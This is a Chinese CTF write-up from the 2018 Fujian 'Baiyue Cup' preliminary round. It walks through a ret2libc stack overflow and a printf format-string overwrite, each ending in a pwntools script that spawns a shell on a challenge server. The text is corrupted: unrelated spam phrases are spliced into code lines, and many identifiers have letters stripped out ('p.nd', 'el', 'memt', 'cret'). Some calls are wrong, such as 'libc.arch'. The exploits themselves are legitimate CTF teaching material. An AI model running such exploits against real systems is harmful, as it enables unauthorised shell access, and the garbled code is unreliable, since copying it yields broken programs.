2018福建省“百越杯”CTF初赛writeup 2018福建省“百越杯”CTF初赛writeup
PWN
Boring Game
题⽬描述 nc 117.50.59.220 12345
解题经过下载下来后有两个⽂件pwn和libc.so.6。所以很明显是RET2LIBC的类型
检查⽂件安全性
程序源代码
int __cdecl main(int argc,const char**argv,const char**envp)
{
write(1,"Hello, welcome to a boring game.\n",0x22u);
fflush(_bss_start);
game();
return0;
}
int game()
{
int v1;// [esp+0h] [ebp-58h]
char buf[64];// [esp+4h] [ebp-54h]
int v3;// [esp+44h] [ebp-14h]
unsigned int ed;// [esp+48h] [ebp-10h]
ssize_t v5;// [esp+4Ch] [ebp-Ch]
puts("What's your name ?");
fflush(_bss_start);
v5 =read(0, buf,0x80u);
if( v5 <=64)
buf[v5 -1]=0;
托福听力评分printf("Hi ,%s. Let's play a game.\nCan you guess a number ? (0 - 1024)\n", buf);
fflush(_bss_start);
ed =time(0);
srand(ed);
v3 =rand()%1025;
make the days count__isoc99_scanf("%d",&v1);
if( v1 == v3 )
printf("Why are so niubi! number is %d\n", v3);
el
printf("Sorry, you only have one chance here.\nnumber is %d\n", v3);
return fflush(_bss_start);
}
相关函数:
解题思路
英文文章翻译step1: 获取write函数的地址
step2: 获取write函数在Libc⾥⾯的的偏移
step3: 计算出基地址
油性头发怎么办step4: 获取system和“/bin/sh”的偏移
step5: 计算system和"/bin/sh”的地址
最后getshell
测量溢出长度
测量得padding88个⽆效字符后可以控制EIP
获取write函数的地址
因为write函数⼀开始就已经使⽤过,所以这个时候的got表的内容是真实的地址可以使⽤ELF导⼊libc后⽤got函数进⾏获取
或者objdump出汇编代码找到如下信息:
08048420 <read@plt>:
8048420: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c
8048426: 68 00 00 00 00 push 0x0
804842b: e9 e0 ff ff ff jmp 8048410 <.plt>
其中0x804a00c就是write函数在got表中的地址
获取write函数的偏移
这⾥使⽤pwntools的elf导⼊libc库,再⽤symbols进⾏定位
from pwn import*
libc = ELF('libc.so.6')
write_off = libc.symbols['write']
计算基地址
这⾥就要开始构造payload,⽬的是让函数在返回的时候控制EIP让它跳转到puts函数,然后把write函数的got表中的值泄露出来。payload = 'a'*88 + p32(puts_addr) + p32(main_addr) + p32(write_got)
泄露之后⽤真实地址减去偏移就可以得到基地址
ba_addr = write_addr - write_off
计算system和"/bin/sh"地址
from pwn import*
libc = ELF('libc.so.6')
write_off = libc.symbols['system']
bin_sh_off = libc.arch('/bin/sh').next()
system_addr = system_off + ba_addr
bin_sh_addr = bin_sh_off + ba_addr
EXP
from pwn import*
#context.log_level = 'debug'
departmentlibc = ELF('libc.so.6')
p = remote('117.50.59.220',12345)
puts_addr =0x08048460
main_addr =0x080486f9
write_off = libc.symbols['write']
system_off = libc.symbols['system']
bin_sh_off = libc.arch('/bin/sh').next()
write_got =0x804a028
#log.info(hex(put_got))
英语词典免费下载
log.info('write_off: '+hex(write_off))
log.info('system_off: '+hex(system_off))
log.info('bin_sh_off: '+hex(bin_sh_off))
payload ='a'*88+ p32(puts_addr)+ p32(main_addr)+ p32(write_got)
p.nd(payload)
sleep(0.5)
p.ndline('1')
v()
recvinfo = p.recv().split('\n')[1].replace('\x00','')
write_addr = u32(recvinfo)
log.info(hex(write_addr))
ba_addr = write_addr - write_off
system_addr = system_off + ba_addr优雅女人
bin_sh_addr = bin_sh_off + ba_addr
print"[*] Got baaddr =",hex(ba_addr)
print"[*] Got execveaddr =",hex(system_addr)
print"[*] Got /bin/sh addr =",hex(bin_sh_addr)
payload2 ='a'*88+ p32(system_addr)+ p32(main_addr)+ p32(bin_sh_addr)
p.ndline(payload2)
p.ndline('1')
p.interactive()
细节处理新东方一对一外语课事件
这⾥连上服务器之后,在传回来的数据中,泄露的write函数地址会接在其他字符串后⾯,所以需要处理⼀下。
在本地测试的时候传回来的数据内容略有不同,所以如果要在本地调试的话,截取write函数的地址的代码需要做修改。
Format
dilara这题⼏乎是原题,很简单的格式化字符串漏洞题⽬。
题⽬描述 Maybe wo gen boring nc 117.50.13.182 33865
解题经过
程序源代码:
int __cdecl main(int argc,const char**argv,const char**envp)
{
char s;// [esp+1Ch] [ebp-8Ch]
unsigned int v5;// [esp+9Ch] [ebp-Ch]
v5 =__readgsdword(0x14u);
memt(&s,0,0x80u);
fgets(&s,128,stdin);
printf(&s);
if( cret ==192)
give_shell();
el
printf("Sorry, cret = %d\n", cret);
return0;
}
int give_shell()
{
__gid_t v0;// ST1C_4
v0 =getegid();
tresgid(v0, v0, v0);
return system("/bin/sh -i");
}
漏洞点在printf(&s),所以可以⽤%x&n对⽬标地址中的值进⾏改写。
本题不需要测量溢出长度,但是需要测量泄露的地址中的内容是从哪⾥开始是我们需要的:
所以输⼊的开始部分是从第11个开始
EXP
from pwn import*
#context.log_level = 'debug'
r = remote('117.50.13.182',33865)
#r = process('./format')
payload1 = p32(0x0804A048)+'%188u%11$n' #print payload1
r.ndline(payload1)
v()
r.interactive()
MISC
马男波杰克酬金
题⽬描述 马男说了要学会百度
解题经过
直接使⽤在线的⼯具即可